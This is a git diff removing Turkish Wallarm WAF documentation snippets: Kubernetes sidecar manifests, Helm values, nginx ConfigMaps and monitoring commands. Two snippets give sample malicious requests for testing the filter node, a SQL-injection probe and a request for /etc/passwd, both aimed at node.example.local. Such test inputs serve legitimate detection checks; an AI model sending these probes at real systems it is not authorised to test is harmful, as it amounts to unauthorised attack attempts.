# Ana uygulama kapsayıcınızın tanımı - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # Uygulama kapsayıcısının gelen istekleri kabul ettiği bağlantı noktası - - containerPort: 8080 - volumes: - # Wallarm öğesi: wallarm-nginx-conf volume tanımı - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/deployment-with-wallarm-example-helm.md b/include-tr/kubernetes-sidecar-container/deployment-with-wallarm-example-helm.md deleted file mode 100644 index 27980e9c5f..0000000000 --- a/include-tr/kubernetes-sidecar-container/deployment-with-wallarm-example-helm.md +++ /dev/null @@ -1,61 +0,0 @@ -apiVersion: apps/v1 -kind: Deployment -metadata: - annotations: - # Wallarm öğesi: Wallarm ConfigMap değiştirildikten sonra çalışan pod'ları güncellemek için annotasyon - checksum/config: '{{ include (print $.Template.BasePath "/wallarm-sidecar-configmap.yaml") . | sha256sum }}' - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Wallarm öğesi: Wallarm sidecar konteynerinin tanımı - - name: wallarm - image: {{ .Values.wallarm.image.repository }}:{{ .Values.wallarm.image.tag }} - imagePullPolicy: {{ .Values.wallarm.image.pullPolicy | quote }} - env: - - name: WALLARM_API_HOST - value: {{ .Values.wallarm.wallarm_host_api | quote }} - - name: DEPLOY_USER - value: {{ .Values.wallarm.deploy_username | quote }} - - name: DEPLOY_PASSWORD - value: {{ .Values.wallarm.deploy_password | quote }} - - name: DEPLOY_FORCE - value: "true" - - name: WALLARM_ACL_ENABLE - value: "true" - - name: TARANTOOL_MEMORY_GB - value: {{ .Values.wallarm.tarantool_memory_gb | quote }} - ports: - - name: http - # Wallarm sidecar konteynerinin istekleri kabul ettiği port - # Service nesnesinden - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # Ana uygulama konteynerinizin tanımı - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # Uygulama konteynerinin gelen istekleri kabul ettiği port - - containerPort: 8080 - volumes: - # Wallarm öğesi: wallarm-nginx-conf volume'unun tanımı - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-2.18.md b/include-tr/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-2.18.md deleted file mode 100644 index 6b7e57f75b..0000000000 --- a/include-tr/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-2.18.md +++ /dev/null @@ -1,65 +0,0 @@ -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Wallarm öğesi: Wallarm sidecar konteynerinin tanımı - - name: wallarm - image: wallarm/node:2.18.1-5 - imagePullPolicy: Always - env: - # Wallarm API uç noktası: - # EU Cloud için "api.wallarm.com" - # US Cloud için "us1.api.wallarm.com" - - name: WALLARM_API_HOST - value: "api.wallarm.com" - # Deploy rolüne sahip kullanıcının kullanıcı adı - - name: DEPLOY_USER - value: "username" - # Deploy rolüne sahip kullanıcının parolası - - name: DEPLOY_PASSWORD - value: "password" - - name: DEPLOY_FORCE - value: "true" - # IP engelleme işlevinin etkinleştirilip etkinleştirilmeyeceği - - name: WALLARM_ACL_ENABLE - value: "true" - # İstek analiz verileri için GB cinsinden bellek miktarı - - name: TARANTOOL_MEMORY_GB - value: "2" - ports: - - name: http - # Wallarm sidecar konteynerinin Service nesnesinden gelen istekleri - # kabul ettiği bağlantı noktası - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # Ana uygulama konteynerinizin tanımı - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # Uygulama konteynerinin gelen istekleri kabul ettiği bağlantı noktası - - containerPort: 8080 - volumes: - # Wallarm öğesi: wallarm-nginx-conf biriminin tanımı - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.6.md b/include-tr/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.6.md deleted file mode 100644 index 69e6a57e52..0000000000 --- a/include-tr/kubernetes-sidecar-container/deployment-with-wallarm-example-manifest-3.6.md +++ /dev/null @@ -1,62 +0,0 @@ -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp -spec: - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - spec: - containers: - # Wallarm öğesi: Wallarm sidecar kapsayıcısının tanımı - - name: wallarm - image: wallarm/node:3.6.2-1 - imagePullPolicy: Always - env: - # Wallarm API uç noktası: - # "api.wallarm.com" EU Cloud için - # "us1.api.wallarm.com" US Cloud için - - name: WALLARM_API_HOST - value: "api.wallarm.com" - # Deploy rolüne sahip kullanıcının kullanıcı adı - - name: DEPLOY_USER - value: "username" - # Deploy rolüne sahip kullanıcının parolası - - name: DEPLOY_PASSWORD - value: "password" - - name: DEPLOY_FORCE - value: "true" - # İstek analitiği verisi için GB cinsinden bellek miktarı - - name: TARANTOOL_MEMORY_GB - value: "2" - ports: - - name: http - # Wallarm sidecar kapsayıcısının istekleri kabul ettiği bağlantı noktası - # Service nesnesinden - containerPort: 80 - volumeMounts: - - mountPath: /etc/nginx/sites-enabled - readOnly: true - name: wallarm-nginx-conf - # Ana uygulama kapsayıcınızın tanımı - - name: myapp - image: - resources: - limits: - memory: "128Mi" - cpu: "500m" - ports: - # Uygulama kapsayıcısının gelen istekleri kabul ettiği bağlantı noktası - - containerPort: 8080 - volumes: - # Wallarm öğesi: wallarm-nginx-conf hacminin tanımı - - name: wallarm-nginx-conf - configMap: - name: wallarm-sidecar-nginx-conf - items: - - key: default - path: default \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/service-template-manifest.md b/include-tr/kubernetes-sidecar-container/service-template-manifest.md deleted file mode 100644 index 83a91edbec..0000000000 --- a/include-tr/kubernetes-sidecar-container/service-template-manifest.md +++ /dev/null @@ -1,17 +0,0 @@ -``` -apiVersion: v1 -kind: Service -metadata: - name: myapp - labels: - run: myapp -spec: - type: NodePort - ports: - - port: 80 - targetPort: 8080 - protocol: TCP - name: http - selector: - run: myapp -``` \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/service-template-sidecar-port-manifest.md b/include-tr/kubernetes-sidecar-container/service-template-sidecar-port-manifest.md deleted file mode 100644 index bf54dbb04e..0000000000 --- a/include-tr/kubernetes-sidecar-container/service-template-sidecar-port-manifest.md +++ /dev/null @@ -1,10 +0,0 @@ -``` -... - ports: - - port: 80 - targetPort: 80 - protocol: TCP - name: http - selector: - run: myapp -``` \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/service-template-sidecar-port.md b/include-tr/kubernetes-sidecar-container/service-template-sidecar-port.md deleted file mode 100644 index 4d12a634bc..0000000000 --- a/include-tr/kubernetes-sidecar-container/service-template-sidecar-port.md +++ /dev/null @@ -1,8 +0,0 @@ -``` -... - - port: {{ .Values.service.port }} - # Wallarm sidecar konteyner portu; - # değer ports.containerPort ile aynı olmalıdır - # Wallarm sidecar konteynerinin tanımında - targetPort: 80 -``` \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/service-template.md b/include-tr/kubernetes-sidecar-container/service-template.md deleted file mode 100644 index 1427c61fb4..0000000000 --- a/include-tr/kubernetes-sidecar-container/service-template.md +++ /dev/null @@ -1,13 +0,0 @@ -apiVersion: v1 -kind: Service -metadata: - name: myapp -spec: - selector: - app: myapp - ports: - - port: {{ .Values.service.port }} - # Wallarm sidecar konteyneri portu; - # değer, Wallarm sidecar konteynerinin tanımındaki - # ports.containerPort değerine eşit olmalıdır - targetPort: 8080 \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/test-sidecar-container-in-kubernetes.md b/include-tr/kubernetes-sidecar-container/test-sidecar-container-in-kubernetes.md deleted file mode 100644 index 2b487c6ede..0000000000 --- a/include-tr/kubernetes-sidecar-container/test-sidecar-container-in-kubernetes.md +++ /dev/null @@ -1,19 +0,0 @@ -1. Aşağıdaki komutu kullanarak pod listesini alın: - - ``` - kubectl get pods - ``` - - Pod içindeki container sayısı artmalı ve pod'un durumu **Running** olmalıdır. - - ``` - NAME READY STATUS RESTARTS AGE - mychart-856f957bbd-cr4kt 2/2 Running 0 3m48s - ``` -2. Aşağıdaki bağlantı üzerinden Wallarm Console → **Nodes** bölümüne gidin ve yeni bir node'un görüntülendiğinden emin olun. Bu oluşturulan node, uygulamanıza gelen istekleri filtrelemek için kullanılır. - * https://us1.my.wallarm.com/nodes/ [ABD Bulutu](../../../about-wallarm/overview.md#us-cloud) için - * https://my.wallarm.com/nodes/ [AB Bulutu](../../../about-wallarm/overview.md#eu-cloud) için -3. Bu [talimatlarda](../../../admin-en/uat-checklist-en.md#node-registers-attacks) açıklandığı gibi uygulamaya test amaçlı kötü amaçlı bir istek gönderin. -4. Aşağıdaki bağlantı üzerinden Wallarm Console → **Attacks** bölümüne gidin ve listede bir saldırının görüntülendiğinden emin olun: - * https://us1.my.wallarm.com/attacks/ [ABD Bulutu](../../../about-wallarm/overview.md#us-cloud) için - * https://my.wallarm.com/attacks/ [AB Bulutu](../../../about-wallarm/overview.md#eu-cloud) için \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/values-wallarm-description-2.18.md b/include-tr/kubernetes-sidecar-container/values-wallarm-description-2.18.md deleted file mode 100644 index ab294e0d04..0000000000 --- a/include-tr/kubernetes-sidecar-container/values-wallarm-description-2.18.md +++ /dev/null @@ -1,28 +0,0 @@ -``` -wallarm: - image: - repository: wallarm/node - tag: 2.18.1-5 - pullPolicy: Always - # Wallarm API uç noktası: - # EU Cloud için "api.wallarm.com" - # US Cloud için "us1.api.wallarm.com" - wallarm_host_api: "api.wallarm.com" - # "Deploy" rolüne sahip kullanıcının kullanıcı adı - deploy_username: "username" - # "Deploy" rolüne sahip kullanıcının parolası - deploy_password: "password" - # Kapsayıcının gelen istekleri kabul ettiği bağlantı noktası, - # değer, ana uygulama kapsayıcınızın tanımındaki - # ports.containerPort ile aynı olmalıdır - app_container_port: 80 - # İstek filtreleme modu: - # "off" istek işlemeyi devre dışı bırakmak için - # "monitoring" istekleri işlemek ama engellememek için - # "block" tüm istekleri işlemek ve kötü amaçlı olanları engellemek için - mode: "block" - # İstek analizi verileri için GB cinsinden bellek miktarı - tarantool_memory_gb: 2 - # "IP Blocking" işlevini etkinleştirmek için "true" olarak ayarlayın - enable_ip_blocking: "false" -``` \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/values-wallarm-description-3.0.md b/include-tr/kubernetes-sidecar-container/values-wallarm-description-3.0.md deleted file mode 100644 index 9c0271aad1..0000000000 --- a/include-tr/kubernetes-sidecar-container/values-wallarm-description-3.0.md +++ /dev/null @@ -1,24 +0,0 @@ -wallarm: - image: - repository: wallarm/node - tag: 3.0.0-3 - pullPolicy: Always - # Wallarm API uç noktası: - # "api.wallarm.com" EU Cloud için - # "us1.api.wallarm.com" US Cloud için - wallarm_host_api: "api.wallarm.com" - # Deploy rolüne sahip kullanıcının kullanıcı adı - deploy_username: "username" - # Deploy rolüne sahip kullanıcının parolası - deploy_password: "password" - # Konteynerin gelen istekleri kabul ettiği port, - # değer ana uygulama konteynerinizin tanımındaki ports.containerPort ile aynı olmalıdır - app_container_port: 80 - # İstek filtreleme modu: - # İstek işlemeyi devre dışı bırakmak için "off" - # İstekleri işlemek ancak engellememek için "monitoring" - # Gri listeye alınmış IP adreslerinden gelen kötü amaçlı istekleri engellemek için "safe_blocking" - # Tüm istekleri işlemek ve kötü amaçlı olanları engellemek için "block" - mode: "block" - # İstek analitiği verileri için GB cinsinden bellek miktarı - tarantool_memory_gb: 2 \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/values-wallarm-description-3.2.md b/include-tr/kubernetes-sidecar-container/values-wallarm-description-3.2.md deleted file mode 100644 index 75e67ffa80..0000000000 --- a/include-tr/kubernetes-sidecar-container/values-wallarm-description-3.2.md +++ /dev/null @@ -1,25 +0,0 @@ -wallarm: - image: - repository: wallarm/node - tag: 3.2.1-1 - pullPolicy: Always - # Wallarm API uç noktası: - # "api.wallarm.com" EU Cloud için - # "us1.api.wallarm.com" US Cloud için - wallarm_host_api: "api.wallarm.com" - # Deploy rolüne sahip kullanıcının kullanıcı adı - deploy_username: "username" - # Deploy rolüne sahip kullanıcının parolası - deploy_password: "password" - # Kapsayıcının gelen istekleri kabul ettiği bağlantı noktası, - # değer ports.containerPort ile aynı olmalıdır - # ana uygulama kapsayıcınızın tanımında - app_container_port: 80 - # İstek filtreleme modu: - # "off" istek işlemeyi devre dışı bırakmak için - # "monitoring" istekleri işlemek ancak engellememek için - # "safe_blocking" gri listeye alınmış IP'lerden gelen kötü amaçlı istekleri engellemek için - # "block" tüm istekleri işlemek ve kötü amaçlı olanları engellemek için - mode: "block" - # İstek analiz verileri için GB cinsinden bellek miktarı - tarantool_memory_gb: 2 \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/values-wallarm-description-3.6.md b/include-tr/kubernetes-sidecar-container/values-wallarm-description-3.6.md deleted file mode 100644 index b1ca4c1663..0000000000 --- a/include-tr/kubernetes-sidecar-container/values-wallarm-description-3.6.md +++ /dev/null @@ -1,25 +0,0 @@ -wallarm: - image: - repository: wallarm/node - tag: 3.6.2-1 - pullPolicy: Always - # Wallarm API uç noktası: - # "api.wallarm.com" EU Cloud için - # "us1.api.wallarm.com" US Cloud için - wallarm_host_api: "api.wallarm.com" - # Deploy rolüne sahip kullanıcının kullanıcı adı - deploy_username: "username" - # Deploy rolüne sahip kullanıcının parolası - deploy_password: "password" - # Kapsayıcının gelen istekleri kabul ettiği bağlantı noktası, - # değerin ports.containerPort ile aynı olması gerekir - # ana uygulama kapsayıcınızın tanımında - app_container_port: 80 - # İstek filtreleme modu: - # "off" istek işlemesini devre dışı bırakmak için - # "monitoring" istekleri işlemek ancak engellememek için - # "safe_blocking" gri listeye alınmış IP'lerden gelen kötü amaçlı istekleri engellemek için - # "block" tüm istekleri işlemek ve kötü amaçlı olanları engellemek için - mode: "block" - # İstek analitiği verileri için bellek miktarı (GB cinsinden) - tarantool_memory_gb: 2 \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/values-wallarm-description-4.0.md b/include-tr/kubernetes-sidecar-container/values-wallarm-description-4.0.md deleted file mode 100644 index 10b8758d30..0000000000 --- a/include-tr/kubernetes-sidecar-container/values-wallarm-description-4.0.md +++ /dev/null @@ -1,23 +0,0 @@ -wallarm: - image: - repository: wallarm/node - tag: 4.0.2-1 - pullPolicy: Always - # Wallarm API uç noktası: - # EU Cloud için "api.wallarm.com" - # US Cloud için "us1.api.wallarm.com" - wallarm_host_api: "api.wallarm.com" - # Wallarm node belirteci - wallarm_api_token: "token" - # Kapsayıcının gelen istekleri kabul ettiği bağlantı noktası, - # değer, ports.containerPort ile aynı olmalıdır - # ana uygulama kapsayıcınızın tanımında - app_container_port: 80 - # İstek filtreleme modu: - # İstek işlemeyi devre dışı bırakmak için "off" - # İstekleri işlemek ancak engellememek için "monitoring" - # Gri listeye alınmış IP'lerden gelen kötü amaçlı istekleri engellemek için "safe_blocking" - # Tüm istekleri işlemek ve kötü amaçlı olanları engellemek için "block" - mode: "block" - # İstek analitiği verileri için bellek miktarı (GB cinsinden) - tarantool_memory_gb: 2 \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template-latest.md b/include-tr/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template-latest.md deleted file mode 100644 index 6f40dc49e0..0000000000 --- a/include-tr/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template-latest.md +++ /dev/null @@ -1,21 +0,0 @@ -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - wallarm_mode {{ .Values.wallarm.mode | quote }}; - # wallarm_application 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - proxy_pass http://localhost:{{ .Values.wallarm.app_container_port }}; - include proxy_params; - } - } \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template.md b/include-tr/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template.md deleted file mode 100644 index 021c0ff977..0000000000 --- a/include-tr/kubernetes-sidecar-container/wallarm-sidecar-configmap-helm-template.md +++ /dev/null @@ -1,21 +0,0 @@ -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - wallarm_mode {{ .Values.wallarm.mode | quote }}; - # wallarm_instance 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - proxy_pass http://localhost:{{ .Values.wallarm.app_container_port }}; - include proxy_params; - } - } \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest-latest.md b/include-tr/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest-latest.md deleted file mode 100644 index 2c2132bd29..0000000000 --- a/include-tr/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest-latest.md +++ /dev/null @@ -1,30 +0,0 @@ -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - # Lütfen aşağıdaki değerini istek filtreleme modu ile değiştirin: - # off istek işlemeyi devre dışı bırakmak için - # monitoring istekleri işlemek ancak engellememek için - # safe_blocking yalnızca gri listeye alınmış IP'lerden gelen kötü amaçlı istekleri engellemek için - # block tüm istekleri işlemek ve kötü amaçlı olanları engellemek için - wallarm_mode ; - # wallarm_application 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - # Lütfen aşağıdaki değerini - # konteynerin gelen istekleri kabul ettiği bağlantı noktası numarasıyla değiştirin, - # değer ports.containerPort ile birebir aynı olmalıdır - # ana uygulama konteynerinizin tanımında - proxy_pass http://localhost:; - include proxy_params; - } - } \ No newline at end of file diff --git a/include-tr/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest.md b/include-tr/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest.md deleted file mode 100644 index 9640ce9b73..0000000000 --- a/include-tr/kubernetes-sidecar-container/wallarm-sidecar-configmap-manifest.md +++ /dev/null @@ -1,32 +0,0 @@ -``` -apiVersion: v1 -kind: ConfigMap -metadata: - name: wallarm-sidecar-nginx-conf -data: - default: | - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - server_name localhost; - root /usr/share/nginx/html; - index index.html index.htm; - # Lütfen aşağıdaki değerini istek filtreleme modu ile değiştirin: - # off istek işlemeyi devre dışı bırakır - # monitoring istekleri işler ancak engellemez - # safe_blocking yalnızca gri listeye alınmış IP'lerden gelen kötü amaçlı istekleri engeller - # block tüm istekleri işler ve kötü amaçlı olanları engeller - wallarm_mode ; - # wallarm_instance 1; - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - location / { - # Lütfen aşağıdaki değerini bağlantı noktası numarasıyla değiştirin - # konteynerin gelen istekleri kabul ettiği, - # değer ports.containerPort ile aynı olmalıdır - # ana uygulama konteynerinizin tanımında - proxy_pass http://localhost:; - include proxy_params; - } - } -``` \ No newline at end of file diff --git a/include-tr/mc-subject-to-change.md b/include-tr/mc-subject-to-change.md deleted file mode 100644 index e9f87f0308..0000000000 --- a/include-tr/mc-subject-to-change.md +++ /dev/null @@ -1,5 +0,0 @@ -!!! info "Değişikliğe tabidir" - Varsayılan azaltma kontrollerinin listesi değişikliğe tabidir: - - * Zaman içinde yeni kontroller eklenebilir. - * Bir azaltma kontrolü devre dışı bırakılmış olsa bile, Wallarm kaliteyi ve performansı iyileştirmek için yine de parametrelerini güncelleyebilir. \ No newline at end of file diff --git a/include-tr/monitoring/collectd-config-location.md b/include-tr/monitoring/collectd-config-location.md deleted file mode 100644 index 92ad4d87c3..0000000000 --- a/include-tr/monitoring/collectd-config-location.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "DEB tabanlı dağıtımlar" - ```bash - /etc/collectd/wallarm-collectd.conf.d/nginx-wallarm.conf - ``` -=== "RPM tabanlı dağıtımlar" - ```bash - /etc/wallarm-collectd.d/nginx-wallarm.conf - ``` \ No newline at end of file diff --git a/include-tr/monitoring/collectd-nagios-fetch-metric-2.18.md b/include-tr/monitoring/collectd-nagios-fetch-metric-2.18.md deleted file mode 100644 index 56972c69e0..0000000000 --- a/include-tr/monitoring/collectd-nagios-fetch-metric-2.18.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Linux" - ```bash - /usr/bin/collectd-nagios -s /var/run/collectd-unixsock -n -H - ``` -=== "Docker" - ```bash - docker exec /usr/bin/collectd-nagios -s /var/run/collectd-unixsock -n -H - ``` \ No newline at end of file diff --git a/include-tr/monitoring/collectd-nagios-fetch-metric.md b/include-tr/monitoring/collectd-nagios-fetch-metric.md deleted file mode 100644 index 91bcb69975..0000000000 --- a/include-tr/monitoring/collectd-nagios-fetch-metric.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Linux" - ```bash - /usr/bin/collectd-nagios -s /var/run/wallarm-collectd-unixsock -n -H - ``` -=== "Docker" - ```bash - docker exec /usr/bin/collectd-nagios -s /var/run/wallarm-collectd-unixsock -n -H - ``` \ No newline at end of file diff --git a/include-tr/monitoring/collectd-restart-2.16.md b/include-tr/monitoring/collectd-restart-2.16.md deleted file mode 100644 index 82bb29d60a..0000000000 --- a/include-tr/monitoring/collectd-restart-2.16.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Ubuntu 14.04 LTS" - ```bash - sudo service collectd restart - ``` -=== "Diğer desteklenen dağıtımlar" - ```bash - sudo systemctl restart collectd - ``` \ No newline at end of file diff --git a/include-tr/monitoring/docker-prerequisites.md b/include-tr/monitoring/docker-prerequisites.md deleted file mode 100644 index 1a6f51606c..0000000000 --- a/include-tr/monitoring/docker-prerequisites.md +++ /dev/null @@ -1,5 +0,0 @@ -!!! info "Önkoşullar" - Şu varsayılmaktadır - - * [Docker Community Edition](https://docs.docker.com/install/) ve [`docker-compose`](https://docs.docker.com/compose/install/) zaten `10.0.30.30` Docker ana makinesine kurulmuştur. - * `node.example.local` filtre düğümü zaten dağıtılmış, yapılandırılmış, daha fazla yapılandırma için (örneğin, SSH protokolü aracılığıyla) kullanılabilir ve çalışır durumdadır. \ No newline at end of file diff --git a/include-tr/monitoring/install-collectd-utils.md b/include-tr/monitoring/install-collectd-utils.md deleted file mode 100644 index 8ba1380f73..0000000000 --- a/include-tr/monitoring/install-collectd-utils.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "DEB tabanlı dağıtımlar" - ```bash - sudo apt -y install --no-install-recommends collectd-utils - ``` -=== "RPM tabanlı dağıtımlar" - ```bash - sudo yum install -y collectd-utils - ``` \ No newline at end of file diff --git a/include-tr/monitoring/install-zabbix-agent.md b/include-tr/monitoring/install-zabbix-agent.md deleted file mode 100644 index ee38f3d5ae..0000000000 --- a/include-tr/monitoring/install-zabbix-agent.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "DEB tabanlı dağıtımlar" - ```bash - sudo apt -y install zabbix-agent - ``` -=== "RPM tabanlı dağıtımlar" - ```bash - sudo yum install -y zabbix-agent - ``` \ No newline at end of file diff --git a/include-tr/monitoring/metric-example.md b/include-tr/monitoring/metric-example.md deleted file mode 100644 index c138321c4c..0000000000 --- a/include-tr/monitoring/metric-example.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "Metrik örneği" - Bu örnek, filtre düğümü tarafından işlenen istek sayısını gösteren tek bir [`wallarm_nginx/gauge-abnormal`](../../admin-en/monitoring/available-metrics.md#number-of-requests) metrik ile nasıl çalışılacağını gösterir. \ No newline at end of file diff --git a/include-tr/monitoring/nagios-restart-2.16.md b/include-tr/monitoring/nagios-restart-2.16.md deleted file mode 100644 index 02c6d60d5b..0000000000 --- a/include-tr/monitoring/nagios-restart-2.16.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Ubuntu 14.04" - ```bash - sudo service nagios restart - ``` -=== "Diğer desteklenen dağıtımlar" - ```bash - sudo systemctl restart nagios - ``` \ No newline at end of file diff --git a/include-tr/monitoring/notification-config-location.md b/include-tr/monitoring/notification-config-location.md deleted file mode 100644 index 20ddea63c5..0000000000 --- a/include-tr/monitoring/notification-config-location.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "DEB tabanlı dağıtımlar" - ```bash - /etc/collectd/conf.d/traps.conf - ``` -=== "RPM tabanlı dağıtımlar" - ```bash - /etc/collectd.d/traps.conf - ``` \ No newline at end of file diff --git a/include-tr/monitoring/nrpe-restart-2.16.md b/include-tr/monitoring/nrpe-restart-2.16.md deleted file mode 100644 index 8035b95d44..0000000000 --- a/include-tr/monitoring/nrpe-restart-2.16.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Ubuntu 14.04" - ```bash - sudo service nrpe restart - ``` -=== "Desteklenen diğer dağıtımlar" - ```bash - sudo systemctl restart nrpe - ``` \ No newline at end of file diff --git a/include-tr/monitoring/sample-malicious-request-for-deprecated.md b/include-tr/monitoring/sample-malicious-request-for-deprecated.md deleted file mode 100644 index baadb1b0e8..0000000000 --- a/include-tr/monitoring/sample-malicious-request-for-deprecated.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! info "Örnek" - ``` bash - curl -I “http://node.example.local/?id='or+1=1--a-'” - ``` \ No newline at end of file diff --git a/include-tr/monitoring/sample-malicious-request.md b/include-tr/monitoring/sample-malicious-request.md deleted file mode 100644 index e3cbb99431..0000000000 --- a/include-tr/monitoring/sample-malicious-request.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! info "Örnek" - ``` bash - curl -I http://node.example.local/etc/passwd - ``` \ No newline at end of file diff --git a/include-tr/monitoring/tarantool-config-location.md b/include-tr/monitoring/tarantool-config-location.md deleted file mode 100644 index ac3f7e659f..0000000000 --- a/include-tr/monitoring/tarantool-config-location.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "DEB tabanlı dağıtımlar" - ```bash - /etc/collectd/collectd.conf.d/wallarm-tarantool.conf - ``` -=== "RPM tabanlı dağıtımlar" - ```bash - /etc/collectd.d/wallarm-tarantool.conf - ``` \ No newline at end of file diff --git a/include-tr/monitoring/wallarm-status-check-latest.md b/include-tr/monitoring/wallarm-status-check-latest.md deleted file mode 100644 index e060297482..0000000000 --- a/include-tr/monitoring/wallarm-status-check-latest.md +++ /dev/null @@ -1,6 +0,0 @@ -1. İstatistik servisinin varsayılan yapılandırması kullanılıyorsa `curl http://127.0.0.8/wallarm-status` komutunu çalıştırın. -2. Aksi halde, yukarıdakine benzer doğru komutu oluşturmak için `/etc/nginx/conf.d/wallarm-status.conf` yapılandırma dosyasına (hepsi-bir-arada yükleyici için `/etc/nginx/wallarm-status.conf`) bakın. - -``` -{"requests":0,"attacks":0,"blocked":0,"abnormal":0,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"custom_ruleset_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-tr/monitoring/wallarm-status-check-no-aio.md b/include-tr/monitoring/wallarm-status-check-no-aio.md deleted file mode 100644 index 180f7af8c7..0000000000 --- a/include-tr/monitoring/wallarm-status-check-no-aio.md +++ /dev/null @@ -1,6 +0,0 @@ -1. İstatistik hizmetinin varsayılan yapılandırması kullanılıyorsa `curl http://127.0.0.8/wallarm-status` komutunu çalıştırın. -2. Aksi takdirde, yukarıdakine benzer doğru komutu oluşturmak için `/etc/nginx/conf.d/wallarm-status.conf` yapılandırma dosyasına bakın. - -``` -{"requests":0,"attacks":0,"blocked":0,"abnormal":0,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"custom_ruleset_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } -``` \ No newline at end of file diff --git a/include-tr/monitoring/wallarm-status-check-padded-latest.md b/include-tr/monitoring/wallarm-status-check-padded-latest.md deleted file mode 100644 index f9ffc44079..0000000000 --- a/include-tr/monitoring/wallarm-status-check-padded-latest.md +++ /dev/null @@ -1,5 +0,0 @@ -1. İstatistik hizmetinin varsayılan yapılandırması kullanılıyorsa `curl http://127.0.0.8/wallarm-status` komutunu çalıştırın. -2. Aksi halde, yukarıdakine benzer doğru komutu oluşturmak için `/etc/nginx/conf.d/wallarm-status.conf` yapılandırma dosyasına bakın. -``` -{"requests":64,"attacks":16,"blocked":0,"abnormal":64,"tnt_errors":0,"api_errors":0,"requests_lost":0,"segfaults":0,"memfaults":0,"softmemfaults":0,"time_detect":0,"db_id":46,"custom_ruleset_id":4,"proton_instances": { "total":2,"success":2,"fallback":0,"failed":0 },"stalled_workers_count":0,"stalled_workers":[] } 